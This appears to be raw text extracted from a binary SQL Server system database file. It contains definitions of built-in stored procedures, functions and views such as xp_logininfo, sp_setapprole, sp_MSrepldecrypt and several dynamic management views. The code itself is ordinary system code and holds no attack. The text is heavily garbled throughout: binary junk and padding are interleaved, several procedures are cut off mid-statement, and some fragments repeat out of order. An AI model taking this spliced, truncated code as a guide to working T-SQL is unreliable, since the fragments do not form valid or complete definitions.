sac_state!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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bu"UVP܊v7sC6 H
U#(iKN+l¥??V	\>=o[IyѹgO3IYGdnaQPe,ZLt040)|!SPVC.w!
;qPVbuI|Z)ܡ	+D}"Z?svc5
V+(#c?n|]5j-h"¸X፜"s#!{43$wR^_>1?l5P)l0_SPVC.w!
;qPVbuk>ڂ[}{.*e?QdƬ<N%fwj1xV&EXs>6=zg^s#`;(FŲL:5V+xo$gS0#SPVC.w!
;qPVbuUP^nT%1)p굲AIY[ٞ@#OZH	?wX7z4\X)$[0.|/ujִVڏ}@N=bWG&0jvSPVC.w!
;qPVbu8Hl(Hݳh)z䃝EOE{o_nX;+tk4
Qidz9LaM;.O׳V9Իy%9ܳ`A.G-0INCP(JH.zK-g0INCP(/GcALC+VbuD,7	cs'"t"D@b	{TUUӭ=0mVo%*CH9$i4@6	
t|r
J
j"H*^> ,	Th~`
Z'Oi 9^N							8!!!!`	=<wPO'ZY0d 8
------------------------------- xp_logininfo ----------------------------------

create procedure sys.xp_logininfo
	@acctname		sysname = null,				-- IN: NT login name
	@option			varchar(10) = null,			-- IN: 'all' | 'members' | null
	@privilege		varchar(10) = 'Not wanted' OUTPUT	-- OUT: 'admin' | 'user' | null
as
	set nocount on

	declare @ret		int

	-- VALIDATE PARAMETERS --
	if (@acctname is null AND (@option is not null OR (@privilege is null OR @privilege <> 'Not wanted')))
		OR ((@option is null OR @option <> 'all') AND (@privilege is null OR @privilege <> 'Not wanted'))
		OR (@option is not null and @option not in ('all', 'members'))
	begin
        raiserror(15600,-1,-1,'sys.xp_logininfo')
        return 1
	end


	-- HANDLE case where NO @acctname GIVEN --
	if (@acctname is null)
	begin
		select	'account name' = loginname,
				'type' = convert(varchar(8), case when isntuser = 1 then 'user' else 'group' end),
				'privilege' = convert(varchar(8), case when sysadmin = 1 then 'admin' else 'user' end),
				'mapped login name' = loginname,
				'permission path' = convert(sysname, null)
		from master..syslogins where isntname = 1 and hasaccess = 1
		order by 3, 1
		return @@error
	end

	-- HANDLE 'members' QUERY --
	if (@option = 'members')
	begin
		declare @priv varchar(8)
		select @priv = case when sysadmin = 1 then 'admin' else 'user' end
			from master..syslogins where isntname = 1 and loginname = @acctname and hasaccess = 1
		if @priv is not null
			select	'account name' = domain+N'\'+name,
					'type' = convert(varchar(8), case when sidtype = 1 then 'user' else 'group' end),
					'privilege' = @priv,
					'mapped login name' = domain+N'\'+name,
					'permission path' = @acctname
			from OpenRowset(TABLE NETGROUPGETMEMBERS, @acctname) order by 3, 1
		else
			select	'account name' = convert(sysname, null),
					'type' = convert(varchar(8), null),
					'privilege' = @priv,
					'mapped login name' = convert(sysname, null),
					'permission path' = convert(sysname, null)
			where 0=1	-- empty result set
		return @@error
	end


	-- CREATE TEMP TABLE AND POPULATE WITH THE REQUIRED DATA --
	CREATE TABLE #nt (name sysname collate catalog_default, sid varbinary(85), sidtype int)
	insert #nt select loginname, sid, isntgroup + 1 from master..syslogins
			where isntname = 1 and loginname = @acctname
	insert #nt select distinct domain+N'\'+name, sid, sidtype
			from OpenRowset(TABLE NETUSERGETGROUPS, @acctname)
	select @ret = @@error
	if @ret <> 0
		return @ret
	-- IF ANY DENY, THEN NO ACCESS --
	if exists (select * from master..syslogins where sid in (select #nt.sid from #nt) and denylogin = 1)
		delete #nt


	-- HANDLE case where OUTPUT REQUESTED --
	if (@privilege is null OR @privilege <> 'Not wanted')
	begin
		select @privilege = case max(sysadmin)
			when 1 then 'admin'
			when 0 then 'user'
			else NULL end
		from master..syslogins where isntname = 1 and hasaccess = 1
			AND sid in (select sid from #nt)
		return @@error
	end


	-- GET NT TYPE FOR NEXT OPTIONS --
	declare @type varchar(8)
	select @type = case when get_sid('\U'+@acctname) is null then 'group' else 'user' end

	-- HANDLE 'all' QUERY --
	if (@option = 'all')
	begin
		select	'account name' = @acctname,
				'type' = @type,
				'privilege' = convert(varchar(8), case when sysadmin = 1 then 'admin' else 'user' end),
				'mapped login name' = @acctname,
				'permission path' = case when l.loginname = @acctname then NULL else l.loginname end
		from master..syslogins l join #nt n on l.isntname = 1 and l.sid = n.sid
		where l.loginname = n.name and hasaccess = 1
		order by 3, 5
		return @@error
	end


	-- HANDLE DEFAULT QUERY --
	select	TOP 1
			'account name' = @acctname,
			'type' = @type,
			'privilege' = convert(varchar(8), case when sysadmin = 1 then 'admin' else 'user' end),
			'mapped login name' = @acctname,
			'permission path' = case when l.loginname = @acctname then NULL else l.loginname end
	from master..syslogins l join #nt n on l.isntname = 1 and l.sid = n.sid
	where l.loginname = n.name and hasaccess = 1
	order by 3, 5
	return @@error
0 8-------------------------------------------------------------------------------
-- Name: sys.fn_PhysLocCracker 
--
-- Description:
--	Cracks the output of %%physloc%% virtual column
--
-- Notes:
-------------------------------------------------------------------------------
create function sys.fn_PhysLocCracker (@physical_locator binary (8))
returns @dumploc_table table
(
	[file_id]	int not null,
	[page_id]	int not null,
	[slot_id]	int not null
)
as
begin

	declare @page_id	binary (4)
	declare @file_id	binary (2)
	declare @slot_id	binary (2)

	-- Page ID is the first four bytes, then 2 bytes of page ID, then 2 bytes of slot
	--
	select @page_id = convert (binary (4), reverse (substring (@physical_locator, 1, 4)))
	select @file_id = convert (binary (2), reverse (substring (@physical_locator, 5, 2)))
	select @slot_id = convert (binary (2), reverse (substring (@physical_locator, 7, 2)))
	
	insert into @dumploc_table values (@file_id, @page_id, @slot_id)
	return
end
0@ 8
create procedure sys.sp_oledb_deflang
as
    if serverproperty('EngineEdition') = 5
    begin
        if db_name() <> N'master'
        begin
            raiserror(40634,-1,-1)
            return
        end
        
        EXEC('
        select
            ISNULL(default_language_name,''us_english'')
        from
            sys.sql_logins
        where
            sid=SUSER_SID()')
    end
    else
    begin
        EXEC('
        select
            ISNULL(language,''us_english'')
        from
           master..syslogins
        where
            sid=SUSER_SID()')
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ys.sp_helpntgroup
	@ntname       sysname = NULL
AS
	if @ntname is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sysusers where name = @ntname and isntgroup = 1)
		begin
			raiserror(15420, -1, -1, @ntname)
			return (1)
		end

		-- RESULT SET FOR SINGLE GROUP
		select 'NTGroupName' = u.name, 'NtGroupId' = u.principal_id, 'SID' = u.sid, 'HasDbAccess' = case when p.state in ('G','W') then 1 else 0 end
			from sys.database_principals u
			left join sys.database_permissions p on p.class = 0 and p.major_id = 0 and p.minor_id = 0
				and p.grantee_principal_id = u.principal_id AND p.grantor_principal_id = 1 AND p.type = 'CO'
			where u.name = @ntname and u.type = 'G'
	end
	else
	begin
		-- RESULT SET FOR ALL GROUPS
		select 'NTGroupName' = u.name, 'NtGroupId' = u.principal_id, 'SID' = u.sid, 'HasDbAccess' = case when p.state in ('G','W') then 1 else 0 end
			from sys.database_principals u
			left join sys.database_permissions p on p.class = 0 and p.major_id = 0 and p.minor_id = 0
				and p.grantee_principal_id = u.principal_id AND p.grantor_principal_id = 1 AND p.type = 'CO'
			where u.type = 'G'
	end

	return (0) -- sp_helpntgroup
0jm 8
create procedure sys.sp_check_constbytable_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null
)
as
    select
        TABLE_CATALOG       = s_ccr.TABLE_CATALOG,
        TABLE_SCHEMA        = s_ccr.TABLE_SCHEMA,
        TABLE_NAME          = s_ccr.TABLE_NAME,
        CONSTRAINT_CATALOG  = s_ccr.CONSTRAINT_CATALOG,
        CONSTRAINT_SCHEMA   = s_ccr.CONSTRAINT_SCHEMA,
        CONSTRAINT_NAME     = s_ccr.CONSTRAINT_NAME,
        CHECK_CLAUSE        = s_ccr.CHECK_CLAUSE,
        DESCRIPTION         = s_ccr.DESCRIPTION

    from
        sys.spt_check_constbytable_rowset s_ccr
    where
        (
            (@table_schema is null and s_ccr.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_ccr.object_id
        ) and
        (@constraint_name is null or s_ccr.CONSTRAINT_NAME = @constraint_name) and
        (@constraint_schema is null or @constraint_schema = schema_name(s_ccr.schema_id))
    order by 1,2,3,4,5,6
0jm 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_check_constbytable_rowset;2
(
    @table_schema       sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG       = s_ccr.TABLE_CATALOG,
        TABLE_SCHEMA        = s_ccr.TABLE_SCHEMA,
        TABLE_NAME          = s_ccr.TABLE_NAME,
        CONSTRAINT_CATALOG  = s_ccr.CONSTRAINT_CATALOG,
        CONSTRAINT_SCHEMA   = s_ccr.CONSTRAINT_SCHEMA,
        CONSTRAINT_NAME     = s_ccr.CONSTRAINT_NAME,
        CHECK_CLAUSE        = s_ccr.CHECK_CLAUSE,
        DESCRIPTION         = s_ccr.DESCRIPTION

    from
        sys.spt_check_constbytable_rowset s_ccr
    where
        (@table_schema is null or schema_id(@table_schema) = s_ccr.schema_id or schema_id('sys') = s_ccr.schema_id) and
        (@constraint_name is null or s_ccr.CONSTRAINT_NAME = @constraint_name) and
        (@constraint_schema is null or @constraint_schema = schema_name(s_ccr.schema_id))
    order by 1,2,3,4,5,6
0 H	8CREATE PROCEDURE sys.sp_MSupgrade_heterogeneous_subscriber_connectinfo
AS
BEGIN
	DECLARE @retcode					int,
			@agent_id				int,
			@subscriber_provider			sysname,
			@subscriber_datasrc			nvarchar(4000),
			@subscriber_location			nvarchar(4000),
			@subscriber_provider_string		nvarchar(4000),
			@subscriber_catalog			sysname

	BEGIN TRANSACTION tr_upgrade_connectinfo
	SAVE TRANSACTION tr_upgrade_connectinfo

	-- PUSH DISTRIBUTION AGENTS
	IF OBJECT_ID(N'MSdistribution_agents', N'U') IS NOT NULL
	BEGIN
		 -- Here we loop through each heterogeneous distribution agent to update the
		 -- MSdistribution_agents table with connect information

		DECLARE cursorDistributionAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msda.id,
					syss1.provider,
					syss1.data_source,
					syss1.location,
					syss1.provider_string,
					syss1.catalog
				FROM MSdistribution_agents msda
					JOIN sys.servers syss1
						ON syss1.server_id = msda.publisher_id
					JOIN sys.servers syss2
						ON syss2.server_id = msda.subscriber_id  AND
						   syss2.is_nonsql_subscriber = 1
				WHERE 	    msda.subscriber_provider IS NULL
					AND msda.subscriber_datasrc IS NULL
					AND msda.subscriber_location IS NULL
					AND msda.subscriber_provider_string IS NULL
					AND msda.subscriber_catalog IS NULL

		OPEN cursorDistributionAgents

		FETCH cursorDistributionAgents into @agent_id, @subscriber_provider, @subscriber_datasrc,
						 @subscriber_location, @subscriber_provider_string, @subscriber_catalog  
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			-- Update meta data
			UPDATE MSdistribution_agents
				SET 	subscriber_provider = @subscriber_provider,
					subscriber_datasrc = @subscriber_datasrc,
					subscriber_location = @subscriber_location,
					subscriber_provider_string = @subscriber_provider_string,
					subscriber_catalog = @subscriber_catalog
				WHERE id = @agent_id

			FETCH cursorDistributionAgents into @agent_id, @subscriber_provider, @subscriber_datasrc,
						 @subscriber_location, @subscriber_provider_string, @subscriber_catalog  
		END
		
		CLOSE cursorDistributionAgents
		DEALLOCATE cursorDistributionAgents
	END

	COMMIT TRANSACTION tr_upgrade_connectinfo

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_upgrade_connectinfo
	COMMIT TRANSACTION 

	RETURN 1
END
0TQ \8Xu:hs	>t	8^u	bCHECK_CLAUSE        = s_ccr.CHECK_CLAUSE,
        DESCRIPTION         = s_ccr.DESCRIPTION

    from
        sys.spt_check_constbytable_rowset s_ccr
    where
        (@table_schema is null or schema_id(@table_schema) = s_ccr.schema_id or schema_id('sys') = s_ccr.schema_id) and
        (@constraint_name is null or s_ccr.CONSTRAINT_NAME = @constraint_name) and
        (@constraint_schema is null or @constraint_schema = schema_name(s_ccr.schema_id))
    order by 1,2,3,4,5,6
- add it
create view sys.dm_pdw_nodes_exec_requests as
select *, convert(int, null) pdw_node_id from sys.dm_exec_requests
0
 8 
-- add it
create view sys.dm_pdw_nodes_os_virtual_address_dump as
select *, convert(int, null) pdw_node_id from sys.dm_os_virtual_address_dump
0 P8(Hhh>i>0o  D8Phke	nvarchar(260)		-- OS file name
	,@size		nvarchar(20) 	= NULL	-- initial file size
	,@maxsize	nvarchar(20) 	= NULL	-- maximum file size
	,@filegrowth	nvarchar(20) 	= NULL	-- growth increment
as
	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_add_log_file_recover_suspect_db')
		return (1)
	end

	EXEC sys.sp_add_file_recover_suspect_db @dbName, 'LOG', NULL, @name, @filename, @size, @maxsize, @filegrowth
0W@ o8CREATE view sys.dm_fts_fdhosts
AS
	SELECT * FROM OpenRowset(TABLE FTFDHOST)
0UpT 8CREATE VIEW sys.dm_exec_query_optimizer_info AS
	SELECT *
	FROM OpenRowSet(TABLE OPTIMIZERINFO)
0Be@ 8CREATE VIEW sys.dm_db_session_space_usage  AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_SESSION_SPACE_USAGE)
B N	B`U<RIG(ne0F D8hXG!0 8CREATE VIEW sys.all_extended_procedures AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		convert(nvarchar(260), s.text) AS dll_name
	FROM sys.all_objects o CROSS APPLY OpenRowset(TABLE SQLSRC, o.object_id, 0) s
	WHERE o.type = 'X'
0S 8CREATE VIEW sys.event_notification_event_types AS
	SELECT type, type_name, parent_type
	FROM OpenRowset(TABLE event_notification_event_types)
0< 8
create procedure sys.sp_procedure_params_rowset2
(
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE_28, -- for backward compatibility
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME_28, -- for backward compatibility
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME_28 -- for backward compatibility

    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pp.schema_id)
        and
        (
            (s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0 and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME

    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pprv.schema_id) and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )

    order by 2, 3, 5
tes AS
	SELECT
		replica_id = IntArStates.replica_id,
		group_id = IntArStates.group_id,
		is_local = IntArStates.is_local,
		role = IntArStates.role,
		role_desc = CASE
			WHEN (role = 0) THEN CAST ('RESOLVING' as nvarchar(60))
			WHEN (role = 1) THEN CAST ('PRIMARY' as nvarchar(60))
			WHEN (role = 2) THEN CAST ('SECONDARY' as nvarchar(60))
			WHEN (role = 3) THEN CAST ('INVALID' as nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		operational_state,
		operational_state_desc = CASE
			WHEN (operational_state = 0) THEN CAST ('PENDING_FAILOVER' AS nvarchar(60))
			WHEN (operational_state = 1) THEN CAST ('PENDING' AS nvarchar(60))
			WHEN (operational_state = 2) THEN CAST ('ONLINE' AS nvarchar(60))
			WHEN (operational_state = 3) THEN CAST ('OFFLINE' AS nvarchar(60))
			WHEN (operational_state = 4) THEN CAST ('FAILED' AS nvarchar(60))
			WHEN (operational_state = 5) THEN CAST ('FAILED_NO_QUORUM' AS nvarchar(60))
			WHEN (operational_state = 6) THEN CAST ('INVALID' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		connected_state,
		connected_state_desc = CASE 
			WHEN (connected_state = 0) THEN CAST ('DISCONNECTED' AS nvarchar(60))
			WHEN (connected_state = 1) THEN CAST ('CONNECTED' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		last_connect_error_number,
		last_connect_error_description,
		last_connect_error_timestamp,
		configured_database_count
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_AVAILABILITY_REPLICA_STATES) AS IntArStates
0S 8CREATE VIEW sys.event_notification_event_types AS
	SELECT type, type_name, parent_type
	FROM OpenRowset(TABLE event_notification_event_types)
09 8-- FOR BACKWARD COMPATIBILTY ONLY --
create procedure sys.sp_dropsrvrolemember
    @loginame sysname,			-- login name
    @rolename sysname = NULL	-- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @loginame
	if @ret <> 0
		return(1)

	set @stmtR = 'alter server role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' drop member '
	set @stmtR = @stmtR + quotename(@loginame, ']')

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
    begin
	    return (1)
    end

    -- RETURN SUCCESS --
	return (0) -- sp_dropsrvrolemember
0͚ \8Yw)h>8^f0֩ 8 
-- add it
create view sys.dm_pdw_nodes_os_latch_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_latch_stats
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R?j8C`
<\>S2:,llw0-@ t8create procedure sys.sp_setapprole
    @rolename   sysname,        -- name app role
    @password   sysname,		-- password for app role
	@encrypt	varchar(10)	= 'none', 		-- Encryption style ('none' | 'odbc')
	@fCreateCookie bit = 0,
	@cookie varbinary(8000) = 0xFFFFFFFF OUTPUT
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_setapprole')
		return (1)
	end

	-- CHECK PARAMETER
	if (@rolename is null)
    begin
        raiserror(15431,-1,-1)
        return (1)
    end

	-- VALIDATE ENCRYPTION
	declare @encrStyle int
	select @encrStyle = case lower(@encrypt) when 'none' then 0 when 'odbc' then 1 else null end
	if (@encrStyle is null)
	begin
        raiserror(15600,-1,-1,'sys.sp_setapprole')
        return (1)
	end

    -- SP MUST BE CALLED AT ADHOC LEVEL --
    if (@@nestlevel > 1)
    begin
        raiserror(15422,-1,-1)
        return (1)
    end

    -- ACTIVATE APPROLE (THIS IS ONLY VALID FROM THIS SP!) --
    if (@fCreateCookie = 1)
		setuser @rolename, @password, @encrStyle, @cookie   
    else
		setuser @rolename, @password, @encrStyle

    -- RETURN SUCCESS/FAILURE --
    if (@@error <> 0)
        return (1)
    return (0)	-- sp_setapprole
0 8CREATE VIEW sys.dm_server_services AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_SERVICES) 
0 +8 
-- add it
create view sys.pdw_health_component_status_mappings as
select
	component_id,
	property_id,
	physical_name	collate database_default physical_name,
	logical_name	collate database_default logical_name
from sys._pdw_health_component_status_mappings
0f 8--
-- Name: 
--	sp_MSrepldecrypt
-- 
-- Description: 
--	This procedure is a wrapper that actually calls
--	fn_repldecryptver4 as well as xp_repl_help_connect.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: None as this procedure is not public.
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSrepldecrypt
(
	@password nvarchar(524) OUTPUT
)
AS
BEGIN
	DECLARE @retcode int
	
	SELECT @password = sys.fn_repldecryptver4(@password)
	IF @@ERROR <> 0 RETURN 1

	EXEC @retcode = sys.xp_repl_help_connect @password OUTPUT
	IF @@ERROR <> 0 RETURN 1
	
	RETURN 0	
END
0W\ 8CREATE PROCEDURE sys.sp_MSdist_adjust_identity
(
    @agent_id int,
    @tablename sysname
)
as
begin
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publisher_id smallint
    declare @publication sysname
    declare @next_seed bigint
    declare @range bigint
    declare @threshold int
    declare @retcode int

    -- Security check.
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id = @agent_id,
        @agent_type = 0 -- distribution agent
    if @@error <> 0 or @retcode <> 0
        return (1)

	select @publication = publication, @publisher_id = publisher_id,
		@publisher_db = publisher_db from MSdistribution_agents where
		id = @agent_id

	select @publisher = srvname from master.dbo.sysservers where 
		srvid = @publisher_id
	-- Get the publication id.
	-- Note: auto identity range is only supported for queued tran pub
	-- which implies independent agent.
	declare @publication_id int
	select @publication_id = publication_id from dbo.MSpublications	where
		publication =  @publication and
		publisher_id = @publisher_id and
		publisher_db = @publisher_db

	-- Get the source object name
	declare @src_object sysname
	select @src_object = source_object from MSarticles where
		publication_id = @publication_id and
		destination_object = @tablename

	if @src_object is not null
	begin
		exec @retcode = sys.sp_MSfetchAdjustidentityrange
			@publisher = @publisher,
			@publisher_db = @publisher_db,
			@tablename = @src_object,
			@adjust_only = 1,
			@for_publisher = 0,
			@next_seed = @next_seed output,
			@range = @range output,
			@threshold = @threshold output
		if @@error <> 0 or @retcode <> 0
			return 1
	end

	-- Return nothing if the table is not found in the table collection served by
	-- the distribution agent.
	select 'next_seed' = @next_seed, 'range' = @range, 'threshold' = @threshold
		where @next_seed is not null 
end
((((@cpu_busy - cpu_busy)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25),
	io_busy = substring(convert(varchar(11),
		convert(int, ((@io_busy * @mspertick) / 1000)))
		+ '('
		+ convert(varchar(11), convert(int, (((@io_busy - io_busy)
		* @mspertick) / 1000)))
		+ ')'
		+ '-'
		+ convert(varchar(11), convert(int, ((((@io_busy - io_busy)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25),
	idle = substring(convert(varchar(11),
        convert(int, ((convert(bigint,@idle) * @mspertick) / 1000)))
		+ '('
		+ convert(varchar(11), convert(int, (((@idle - idle)
		* @mspertick) / 1000)))
		+ ')'
		+ '-'
		+ convert(varchar(11), convert(int, ((((@idle - idle)
		* @mspertick) / 1000) * 100) / @interval))
		+ '%',
		1, 25)
from master.dbo.spt_monitor

select
	packets_received = substring(convert(varchar(11), @pack_received) + '(' +
		convert(varchar(11), @pack_received - pack_received) + ')', 1, 25),
	packets_sent = substring(convert(varchar(11), @pack_sent) + '(' +
		convert(varchar(11), @pack_sent - pack_sent) + ')', 1, 25),
	packet_errors = substring(convert(varchar(11), @pack_errors) + '(' +
		convert(varchar(11), @pack_errors - pack_errors) + ')', 1, 25)
from master.dbo.spt_monitor

select
	total_read = substring(convert(varchar(11), @total_read) + '(' +
		convert(varchar(11), @total_read - total_read) + ')', 1, 19),
	total_write = substring(convert(varchar(11), @total_write) + '(' +
		convert(varchar(11), @total_write - total_write) + ')', 1, 19),
	total_errors = substring(convert(varchar(11), @total_errors) + '(' +
		convert(varchar(11), @total_errors - total_errors) + ')', 1, 19),
	connections = substring(convert(varchar(11), @connections) + '(' +
		convert(varchar(11), @connections - connections) + ')', 1, 18)
from master.dbo.spt_monitor

/*
**  Now update spt_monitor
*/
update master.dbo.spt_monitor
	set
		lastrun = @now,
		cpu_busy = @cpu_busy,
		io_busy = @io_busy,
		idle = @idle,
		pack_received = @pack_received,
		pack_sent = @pack_sent,
		connections = @connections,
		pack_errors = @pack_errors,
		total_read = @total_read,
		total_write = @total_write,
		total_errors = @total_errors

return (0) -- sp_monitor
0 8CREATE VIEW sys.dm_server_services AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_SERVICES) 
0 +8 
-- add it
create view sys.pdw_health_component_status_mappings as
select
	component_id,
	property_id,
	physical_name	collate database_default physical_name,
	logical_name	collate database_default logical_name
from sys._pdw_health_component_status_mappings
0f 8--
-- Name: 
--	sp_MSrepldecrypt
-- 
-- Description: 
--	This procedure is a wrapper that actually calls
--	fn_repldecryptver4 as well as xp_repl_help_connect.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: None as this procedure is not public.
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSrepldecrypt
(
	@password nvarchar(524) OUTPUT
)
AS
BEGIN
	DECLARE @retcode int
	
	SELECT @password = sys.fn_repldecryptver4(@password)
	IF @@ERROR <> 0 RETURN 1

	EXEC @retcode = sys.xp_repl_help_connect @password OUTPUT
	IF @@ERROR <> 0 RETURN 1
	
	RETURN 0	
END
SAGE --
	return (0)	-- sp_droplogin
S~r
`d	<8T.ċ10J@ O8
---------------------------- sp_MS_marksystemobject -----------------------------
